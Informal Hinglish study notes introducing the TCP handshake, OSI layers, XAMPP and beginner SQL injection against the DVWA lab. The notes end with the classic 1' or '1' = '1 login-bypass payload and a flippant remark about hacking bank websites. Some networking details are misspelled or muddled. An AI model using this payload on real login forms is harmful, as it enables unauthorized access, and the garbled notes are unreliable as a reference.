Gande Bachhe SQL vale

SQL -> Structure Quiry language
-------------------------------


web application
...............
front end -> HTML,CSS.....
Middel ware -> php,....
back end->MYSQL SQL


3 way handshak
----------------

Client -------> Server
(AAP)			(mai)




syn---------> Server
SYN/ACK -----> clint
ANC--------> Server


OSI/TCP model

A - APPLICATION
P - PRESANTATION
S - SESSION
T - TRANPORT
N - NETWORK
D - DATALINK LAYER
P - PHYSICAL


TCP
----



N - > NETWORK
I - > INTERNET
T - > TRANSPORT
A - > APPLICATION



OSI/TCP Model


SYN - sycronize
PSH - push
RST - reset
ACK - ACK
URG - urgent
FIN - finish

DESCLAIMER

knowledge prps

if you hack any bank website its not a cyber crime :D \
it Cyber terrosism Meet MODI



XAMPP server
-------------
X -	Cross
A - Apache
M - MySQL
P - PHP
P - Perl


Double clik -> install -> yes > yes > yes > I agree > Finish


SELECT * FROM TABLE_NAME

SELECT USER_ID,F_NAME FROM TABLE_NAME WHERE USERS_ID ='1'


Username - > shubham
Password - > Shona_baby

Shubham khul jaiga

DVWA ----- > Software

SELECT * FROM TABLE_NAME WHERE USERNAME = 'Shubham' AND PASSWORD = 'Shona_baby'


SELECT * FROM TABLE_NAME WHERE USERNAME = '1' or '1' = '1' AND PASSWORD = '1' or '1' = '1'


Truth

1' or '1' = '1 -----> sanjivani booti

SELECT * FROM TABLE_NAME WHERE USERNAME = '1' or '1' = '1' AND PASSWORD = '1' or '1' = '1'